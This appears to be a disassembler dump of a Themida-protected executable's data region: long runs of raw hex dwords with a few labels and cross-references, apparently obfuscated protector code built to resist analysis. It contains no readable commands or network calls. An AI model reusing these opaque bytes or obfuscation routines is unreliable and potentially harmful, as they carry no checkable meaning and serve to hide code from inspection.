		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 50F28DC3h, 0BE409405h, 6AF9BF0Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0BA9CC355h, 870FF54Eh, 2,	0BD83F98Bh, 6151115h
		dd 0F5850F03h, 8B000003h, 150E119Dh, 8E906h, 81770000h
		dd 0C2B85191h, 0BD83099Fh, 618BF99h, 0D5840F00h, 0BF000003h
		dd 39B2CD9Dh, 0BF99B5FFh, 5E90618h, 0A4000000h,	76CC2D5Bh
		dd 10E195FFh, 0C7810615h, 46914E80h, 5E9h, 0BD81EB00h
		dd 0B58B7D02h, 618BF8Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0D5C35343h, 2432FF62h, 106C7h, 0B5890001h
		dd 6150CF5h, 0FB8B6696h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 3AFD26C3h, 0C3B96297h
		dd 319D0138h, 8B061525h, 1514FDBDh
		dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0BF2FC355h,	32A40981h
		dd 674E856Bh, 6A195FFh,	9D890615h, 6150811h, 24599D29h
		dd 0B58B0615h, 618BF8Dh, 858BDE8Bh, 6150059h, 8689D98Ah
		dd 0C4h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	85C35141h, 3821E246h, 0E94EC4C0h, 9, 98405E2Ah
		dd 92A0E23Fh, 21958B0Ah, 83061527h, 0F6004C2h, 18Bh, 0DE8F900h
		dd 0EE000000h, 694F5B9Eh, 4BCC70D7h, 6C376753h,	0DCC18166h
		dd 89615FABh, 85892050h, 6152FF5h, 0D458858Dh, 0B5890618h
		dd 61512ADh, 0B88689h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 29AB0FC3h, 5157EE23h
		dd 0B850FC6h, 0F000000h, 58Ch, 709EBB00h, 6A50F9h, 0BF99B5FFh
		dd 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 17A914C3h, 8E9h, 22118200h, 0A73ECFFCh, 718D2940h
		dd 0FF06150Dh, 151D4D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 333A91A8h
		dd 68D0FFBh, 89000000h,	1508B995h, 0D7816606h, 0B796EF30h
		dd 0BF665077h, 33966BFBh, 152499BDh, 99B5FF06h,	6A0618BFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0B5CC355h, 0F9BF0F5Ah, 48E38166h,	2995FFBBh
		dd 6A061507h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 22ADC353h, 61FCFC60h, 65BD83h
		dd 0F000615h, 4484h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0D88A5008h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F5C7C352h, 1F5333BBh, 99B5FF3Bh,	6A0618BFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 33CC351h,	1514B5BDh, 958B6006h, 6152F81h
		dd 2C71BD8Bh, 0FF610615h, 15043995h, 28E0F06h, 8B000000h
		dd 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 81CAC356h, 0B70F376Eh
		dd 0CD95FFD8h, 6A06150Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0E9CAC350h,	2C7DB589h
		dd 0BD830615h, 615285Dh, 52840F02h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 523C350h, 48FF7885h,	8BC18147h, 15284985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 89957138h, 1511F99Dh, 0C606h, 0F585C7F9h, 61523h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 21E3C350h, 0E2B44B2Fh, 48518137h,	0FFF344E9h
		dd 6AC18BFFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0F7DBC350h, 0C3AB99B6h, 2150EEB2h
		dd 18F58589h
		db 15h,	6, 0F9h
byte_5C0BD3	db 8Dh			; DATA XREF: Themida_:0057C30Co
					; Themida_:0057C910o
		dd 15279D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 2850F51h,	8A000000h, 525050FCh, 6E8h
		dd 8E492000h, 5BF4917Ah, 0FC8A310Fh, 489585Ah, 0BD335324h
		dd 61510EDh, 6A006A5Bh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0B7A1C356h,	20E5D647h
		dd 14F99D8Bh, 0EB800615h, 0B7006A60h, 0B858D51h, 6A061974h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0F0AC353h, 0B840Fh, 6E90000h, 45000000h
		dd 2054ED3h, 0DFBF0FF5h, 20CD9D89h, 0C0830615h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 7F551C4h, 15840Fh, 10E90000h, 58000000h, 2698E179h
		dd 4C1BEC0Ch, 4EBF76FAh, 50A74F79h, 6820Fh, 860F0000h
		dd 0
		dd 66240489h, 8BF95BBFh, 6A006ADFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 6265C350h
		dd 8B5DD380h, 76EF81F8h, 6A219D8Fh, 0A59D8B00h,	0FF061518h
		dd 15267995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 3AB6E6AFh, 71EDCC92h, 10E8h, 0AA4C6B00h
		dd 75403175h, 3E7AAD5Fh, 3DEE69A4h, 48D0F47h, 66000000h
		dd 5FA27EBFh, 9C158D8Dh, 9D8B0618h, 61516B9h, 6AD1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 247F1BC3h, 0AA0F6E69h, 6830F36h, 3000000h, 1522599Dh
		dd 0B5BD8306h, 106152Dh, 98850Fh, 8D890000h, 6151A35h
		dd 8166026Ah, 505BBAE7h, 9E96060h, 32000000h, 7B91CBEBh
		dd 3A5081D4h, 60615F50h, 0AE8h,	458B0600h, 0D8D781C5h
		dd 5FEE2AE4h, 8E0Fh, 61610000h,	6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B3D8C356h
		dd 0C4AED767h, 759D33ACh, 81061534h, 8E3B43C7h,	4D95FF3Ch
		dd 6A06151Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 7EE3C352h, 18E8754Bh, 8A1F7825h
		dd 7CE9FCDAh, 0E800000Dh, 0
		dd 15ED815Dh, 0F061974h, 0C89h,	6890F00h, 8B000000h, 1518C5BDh
		dd 6E906h, 96370000h, 3DAB63EDh, 0F9858DF9h, 6A061888h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 73D4C352h, 6E1225CAh, 12B5BD8Bh, 0E8900615h
		dd 0Ch,	0D978B68h, 0CB020B44h, 7FBFCCEh, 505BC8B7h, 0D7F430BFh
		dd 6A907Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0B55441C3h, 12631EA4h, 35FF644Ch,	0
		dd 29F98B66h, 1509C98Dh, 25896406h, 0
		dd 0EE822BFh, 3585FF42h, 6A061515h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DEAC356h
		dd 0BF0BBF59h, 4CEF26CDh, 1041BD01h, 0FA8B0615h, 13E8FF6Ah
		dd 5000000h, 0A59F0E12h, 7213CF07h, 0FD9647F7h,	0A6190D2Ah
		dd 0B5894FE1h, 6152AEDh, 95B5FF5Fh, 6A061505h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6D52C355h, 0DF537B6h, 0FF5B4CAAh, 1508BD95h,	14AE906h
		dd 0B0F80000h, 0C820F00h, 0F000000h, 688h, 4DBD8B00h, 0E6061516h
		dd 0C880F70h, 0F000000h, 687h, 3DBD8B00h, 0E406151Ah, 6870F71h
		dd 29000000h, 150C4995h, 0F613C06h, 10B83h, 0FE8B6600h
		dd 0E9C8B60Fh, 0Fh, 11A0377Bh, 217341B0h, 0D63D77DFh, 897182F3h
		dd 151D59B5h, 6BA06h, 89500000h, 1507F98Dh, 8D895B06h
		dd 6151A25h, 860FC18Bh,	0Bh, 5840Fh, 6ABB0000h,	5606E1DEh
		dd 2E89BD8Bh, 0C15F0615h, 0BD8B04E8h, 6150C09h,	0BFE2F766h
		dd 1E2268CCh, 0EE9h, 652100h, 77106531h, 0E7F71204h, 2B3254D8h
		dd 0DB8166C8h, 0D18BA1F5h, 0BF7EC2BFh, 5E927h, 0A4BB0000h
		dd 8B380D2Ch, 1519D185h, 0C083F506h, 0F88B6607h, 3300C083h
		dd 1504A1BDh, 0FD03B06h, 2A83h,	7DB06000h, 2666DBBEh, 55E96157h
		dd 0E9000000h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h
		dd 0F05AF32Eh, 8BFE8B66h, 15108D8Dh, 0ADBD8906h, 8306150Bh
		dd 840F01E1h, 24h, 27DBD89h, 0A5830615h, 615108Dh, 0A9BD8BFEh
		dd 89061528h, 1519D195h, 0FD958906h, 0E9061510h, 0
		dd 94B58Dh, 0E5BF0619h,	94756EDh, 1525859Dh, 6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 58B6C351h, 7EF89CCAh, 5BD8972h, 0FF06152Eh
		dd 152E2195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0F8FE606Fh, 71B9DF8Bh, 6A000009h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 8B97C357h, 78223524h, 7E92CA2h, 6E000000h
		dd 4F0492A2h, 0E183C978h, 3800FFCh, 66000000h, 81FCD98Bh
		dd 0DD3FF0D7h, 0B807h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0B6DA88C3h, 0BF0F5D46h
		dd 0BADAh, 16B70000h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 6C35040h
		dd 6AEAFA58h, 189D9D8Bh, 6AF90615h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 52C3C357h
		dd 0D5F04B7h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0DCC35343h, 0A9831F93h, 0D9397B64h, 2721958Bh
		dd 0BB660615h, 8D8B439Dh, 61504CDh, 0DE9h, 0DA959900h
		dd 0B093BF31h, 50CAB4F3h, 8B50704Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 1CC35141h, 13F0DC8h, 56128A7Fh, 7ED8509h
		dd 0E95F0615h, 0Ah, 0F3C09DBAh,	9C8E53C4h, 8B66E35Ch, 0A9BD83D8h
		dd 61518h, 57840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 140424h, 50400000h, 0D98BF3C3h, 0B8h, 9E8D8D00h
		dd 8B06154Fh, 152D81BDh, 6AE1FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3F32C352h
		dd 8B512C1Ch, 152A759Dh, 15BD8306h, 61511h, 49F840Fh, 81660000h
		dd 833922CBh, 151115BDh, 840F0106h, 4A8h, 0BD83F98Bh, 6151115h
		dd 63860F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 43FFC357h, 487C0E71h
		dd 8589C75Ah, 6151315h,	2D8529h, 1600615h, 15346195h, 0D98C6606h
		dd 23359D89h, 80FC0615h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 269493C3h, 0B7B32800h
		dd 959D8999h, 66061528h, 0A7975BBh, 6A840FC9h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0DDAEC351h, 604BC085h, 6880Fh, 0BD890000h
		dd 61506C9h, 8B615E53h,	15249D85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8E4FEA81h
		dd 0B58533A0h, 6A061519h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 41D2C355h, 54E442BDh
		dd 0F5F4C6Eh, 13E9FEB7h, 9F000000h, 0CF081855h,	5C6FEDEAh
		dd 18647844h, 81C409E1h, 8950FBA0h, 85892404h, 61501C1h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0FEC971C3h, 0CF3280A7h, 4E8F014h,	0FF000000h
		dd 8B001F03h, 505350DEh, 0F5B5652h, 0F525031h, 5A585A31h
		dd 448B5F58h, 8B560424h, 8B5FFEh, 448965B3h, 8B660424h
		dd 0FFF858DAh, 150DAD95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD89FE61h
		dd 6150D61h, 0BF998589h, 9D890618h, 6152AF5h, 25FE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 6405607Ch, 29C105D7h, 151C91BDh, 5DBD8B06h, 81061510h
		dd 8F8DDAE3h, 91858B74h, 570618BFh, 2C8DBD33h, 0C75F0615h
		dd 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0F781E5F1h, 89256F0Ch, 1502958Dh
		dd 95B58B06h, 90618BFh,	1525D59Dh, 0D5BD3306h, 8B06151Dh
		dd 150C4585h, 0CB816606h, 68902C0h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 7EC35040h, 0E9B529D3h, 8B06150Ah
		dd 15249D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0EE3729F7h, 0D2C16E83h, 1DBD3188h
		dd 89061505h, 6A0446h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 39F83C3h, 15189D9Dh, 0BE806h, 75B30000h
		dd 8D595BC0h, 1312A8F7h, 0C5BD89A7h, 5B06150Ch,	50B4B796h
		dd 10E8h, 9C20AE00h, 8A86646Eh,	15CAC3C3h, 7324397Ch, 55EDBF1Ah
		dd 965F6CD2h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0B0C35141h, 0DC9EC951h,	0FF012497h, 18BF91B5h
		dd 119D2B06h, 0E8061501h, 4, 1F03FFh, 50FE8B66h, 8B665250h
		dd 50310FFEh, 8E0F52h, 0F000000h, 5A2EB731h, 8B585A58h
		dd 0E8042444h, 11h, 0BB7F7805h,	5A9CCC93h, 962ADCE3h, 1611AE1Ah
		dd 0E9525081h, 5, 6AACBEC5h, 50310FFDh,	5A310F52h, 5B585A58h
		dd 4489008Bh, 52500424h, 9416BB66h, 0BF66310Fh,	585ADAB6h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 3E9D2075h, 8589D8E5h, 6151511h, 31B52953h
		dd 5F061507h, 0BF99858Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F12C3CC3h, 1E254EB3h
		dd 14E850B2h, 2000000h,	0D9098C67h, 9D659CEDh, 77ACC51h
		dd 0AA0AF49Ah, 8BFAD7A3h, 4895BD9h, 0F98B6624h,	0DAD95FFh
		dd 0B5890615h, 61506FDh, 0F3816661h, 85C771AAh,	6151115h
		dd 3, 83D88B66h, 18BF99BDh, 840F0006h, 36h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h, 7BC62F66h
		dd 0D1B9C023h, 0B1F2CF81h, 0BB663699h, 1EE9CFC9h, 66000000h
		dd 3050F98Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0BD8953C0h, 6152351h, 0FB8B665Bh,	1115BD83h
		dd 0F030615h, 39785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 2038018Eh, 661D0806h
		dd 831284BFh, 18BF99BDh, 840F0006h, 364h, 17E19D8Bh, 0B5FF0615h
		dd 618BF99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	82C35646h, 30731A4Dh, 8A45B1E1h, 0E195FFDEh, 8B061510h
		dd 151E71BDh, 8DB58B06h, 8B0618BFh, 15232DBDh, 2890F06h
		dd 8B000000h, 106C7D8h,	1000100h, 152B3D95h, 7EBB9606h
		dd 503E8040h, 1FB75250h, 585A310Fh, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 62DDCD54h
		dd 9D8BE677h, 6150551h,	0BF99B5FFh, 6A0618h, 3E850h, 58200000h
		dd 448958C3h
		dd 44810424h, 170424h, 50400000h, 0AFDB6C3h, 12E859h, 0D99D0000h
		dd 0AEF76359h, 0FFD2EE24h, 780BAA22h, 9ABF6215h, 10A59D33h
		dd 895B0615h, 1518C585h, 0A195FF06h, 6A061506h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0B4D2C353h, 812D4E2Bh, 0C3816652h, 8B5B31F5h, 152D1DBDh
		dd 8DB58B06h, 6A0618BFh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0C28FC352h,	281C1BDCh
		dd 858B440Fh, 6150059h,	0C48689h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 660792C3h
		dd 9D8BFE8Bh, 6152705h,	2721958Bh, 0BD2B0615h, 615140Dh
		dd 6604C283h, 5089DA8Bh, 0DA8B5320h, 58858D5Bh,	6A0618D4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0D206C356h, 5805087h, 5E944h, 0FC6D0000h
		dd 89282E00h, 0B886h, 0DE800h, 3C4F0000h, 0D0196F50h, 4452B355h
		dd 660FE6A6h, 5BCF6DBFh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 7D7AE2C3h, 882BAE14h
		dd 99B5FF5Bh, 6A0618BFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0BB61C351h,	4B8A1EADh
		dd 0BB8AD301h, 4663F6AEh, 1D4D95FFh, 95290615h,	6152185h
		dd 0D98B6650h, 80243489h, 0B5FF7AD7h, 618BF99h,	0BBA2DF81h
		dd 95FF5726h, 6150729h,	8371CF80h, 150065BDh, 840F0006h
		dd 37h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
		dd 21C35545h, 8F0F9B24h, 6, 4B98D09h, 50960615h, 0BC1274BFh
		dd 0F8BF9623h, 0FF59ED46h, 18BF99B5h, 5CC78106h, 0FF78038Eh
		dd 15043995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 44535A6Ch, 11E9h,	94E91800h, 44DC25B4h
		dd 35F156F8h, 0E1E08F6Dh, 0BD8BDB81h, 615144Dh,	0BF99B5FFh
		dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8D0F04C3h, 3, 0FFD4F780h,	150DCD95h, 0D98B6606h
		dd 285DBD83h, 0F020615h, 3284h,	12E900h, 0A25C0000h, 3CEABC68h
		dd 0C6281D3Dh, 0B46A6D1Eh, 3B69CB23h, 2849858Bh, 0DE90615h
		dd 0C5000000h, 0E431D1C6h, 3E41353Dh, 706DBC21h, 0C70000C6h
		dd 1523F585h, 6, 0DBB70F00h, 0FFF39FE9h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 5A73E43Fh, 81C50970h, 61DD4AF7h, 0FC18B32h, 682h, 11B58900h
		dd 8D061511h, 15279D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 28758B56h, 0C9D18EEEh
		dd 0F19D891Eh, 0BF061517h, 4D0F2B17h, 0DE96050h, 7C000000h
		dd 0B22849F2h, 0DEAB2ED5h, 52C1EE25h, 7D97BF60h, 5E5378E7h
		dd 4896161h, 6A006A24h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 40ECC352h, 0C517AAA6h
		dd 0FFD1AC5Bh, 858950F8h, 61506A9h, 6A006A5Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8DB3C356h, 26A3AB39h, 0F5745195h, 83E4858Dh,	6A0619h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A08F2DC3h, 0BB4C8AF9h, 26659D8Bh, 0C0830615h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F4563520h, 60F9D6A6h, 2C8D8D8Bh, 8D8B0615h,	615010Dh
		dd 8B665061h, 240489DAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 2FC35545h, 2EDCF01h, 0B3006ACDh, 6A006AB8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 6A6FC350h, 95FF943Eh, 6152679h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4DC35141h, 0CFDD88EDh
		dd 13E9E9h, 65840000h, 0C5E47935h, 1DCF310Ah, 4FF78A32h
		dd 0E8820855h, 2D9D8B6Fh, 8D06150Ch, 189C158Dh,	0C3816606h
		dd 0D1FF805Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0A3C35242h, 468D6EF7h, 0BE9023Ah, 0EE000000h, 773A5DECh
		dd 1ADD752Eh, 0BD8307A3h, 6152DB5h, 6C850F01h, 0F5000000h
		dd 8960026Ah, 15130D85h, 8D06BE06h, 506123A2h, 0FE9h, 1985CC00h
		dd 160696AEh, 9BE51318h, 892C7495h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7BBEC352h, 4D95FFFBh, 6A06151Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 818BC356h
		dd 0E9FFFD5Dh, 0C6Eh
dword_5C1E18	dd 0E8h, 0ED815D00h, 61983EEh, 1D8D9D89h, 6A0615h, 3E855h
					; DATA XREF: Themida_:0057B7BCo
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BBB26C3h, 8D221545h, 1888F985h, 5FF85706h, 89C0B350h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 5CE155C3h, 0FF64DE8Bh, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0CF66F496h, 64364978h, 2589h, 0B70F0000h, 3585FFDBh
		dd 6A061515h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 6337C357h, 89079735h, 150569BDh
		dd 0FFFF6A06h, 152D19B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 95FF1135h
		dd 61508BDh, 12BE9h, 5100B000h,	292541BFh, 0BD8B5F64h
		dd 6152AA1h, 850970E6h,	61525C1h, 8B6671E4h, 0F613CDAh
		dd 10783h, 0B5295300h, 61510A9h, 0C8B60F5Bh, 6BAF9h, 0AE80000h
		dd 9E000000h, 7218BFF0h, 4CCB185Eh, 3EB810Ah, 5B21AC4Ch
		dd 0BD8BC18Bh, 6151291h, 14219D8Bh, 0E8C10615h,	8D9D8B04h
		dd 66061530h, 0D98BE2F7h, 9D8BC82Bh, 6150AA9h, 0FE9D18Bh
		dd 81000000h, 0AD48E5EEh, 0B6C30FFDh, 8E33DF3Dh, 0E9D0BCh
		dd 8B000000h, 15059D85h, 0E99D8B06h, 83061523h,	958907C0h
		dd 6152E05h, 6800F56h, 8B000000h, 150AA1BDh, 0C0835F06h
		dd 6810F00h, 89000000h,	1504A1BDh, 0FD03B06h, 0B83h, 61E9F500h
		dd 0BB000000h, 2C5EA7F7h, 27158D8Bh, 89500615h,	152A859Dh
		dd 0E1835F06h, 45840F01h, 0E9000000h, 0Fh, 54839CE3h, 15D734FFh
		dd 380AB2C7h, 83114463h, 152715A5h, 9D0BFE06h, 6152AC9h
		dd 59D9589h, 14E90615h,	73000000h, 0B140837h, 340A06B2h
		dd 0F88F75F0h, 0C9FE13FBh, 0E9E1355Dh, 0
		dd 0BCCB58Dh, 8B600619h, 151A5985h, 0A59D8B06h,	61061526h
		dd 0BD89006Ah, 6151A6Dh, 2E2195FFh, 6A0615h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 821231C3h
		dd 57C0219Ah, 0F99F4943h, 89DB9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0CE78BEF9h
		dd 0A1B589D3h, 83061507h, 0FC8AFCE1h, 0F5B589FCh, 2B061510h
		dd 759529C0h, 0BA061502h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 46C35141h
		dd 5F59ED84h, 0E15D5DA1h, 0BE860D4h, 9B000000h,	782AC62Ch
		dd 982E301Ah, 59FC8DADh, 2EC5F4B9h, 33AD6132h, 3E8D1C2h
		dd 4E983D0h, 10E9F475h,	0E7000000h, 0AA05E64Ch,	0DFBB4B74h
		dd 4EFC1321h, 9BC59B8h,	1518E595h, 880D06h, 0CE90000h
		dd 61000000h, 2B3AD99Ch, 641B84A4h, 607A5A9Dh, 7A0FD781h
		dd 95893974h, 61522D9h,	21958B61h, 6A061527h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 700DC351h, 91DC4082h, 8D8B70E6h, 61504CDh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 66674CC3h
		dd 168C0Fh, 11E90000h, 39000000h, 938B8494h, 56B77ADCh
		dd 1756D606h, 72A28EE1h, 52DBD8Bh, 0BB660615h, 0BD839F75h
		dd 61518A9h, 58840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2A64C353h
		dd 0C7044A6Eh, 24DB81CBh, 0B804B553h, 0
		dd 149C88BBh, 9E8D8D4Bh, 3306154Fh, 152A4DBDh, 0D9BD8B06h
		dd 0FF06152Fh, 0DE9E1h,	0D2680000h, 10E40EE9h, 0C0C7033Ch
		dd 8305927Dh, 151115BDh, 840F0006h, 431h, 0EE952h, 0CC090000h
		dd 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 3BCBBB5Bh,	0BD837C56h
		dd 6151115h, 25840F01h,	89000004h, 1534758Dh, 0E8BF6606h
		dd 15BD839Ah, 3061511h,	3D8860Fh, 0B5290000h, 6151031h
		dd 57006A60h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 77AD4AE1h, 8C66427Bh, 14E9D9h, 287F0000h
		dd 3EF09798h, 0C354A742h, 12903125h, 0D242EBEBh, 0E1807ECBh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0CD7B983Ch, 840FC90Ah, 0F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F7C35747h, 53EFD354h
		dd 97BF660Bh, 9D858B93h, 0F061524h, 8Fh, 33FA8B00h, 1519B585h
		dd 0DA8B9006h, 0B8666050h, 8B66850Ch, 0F9061F1h, 6AFABFh
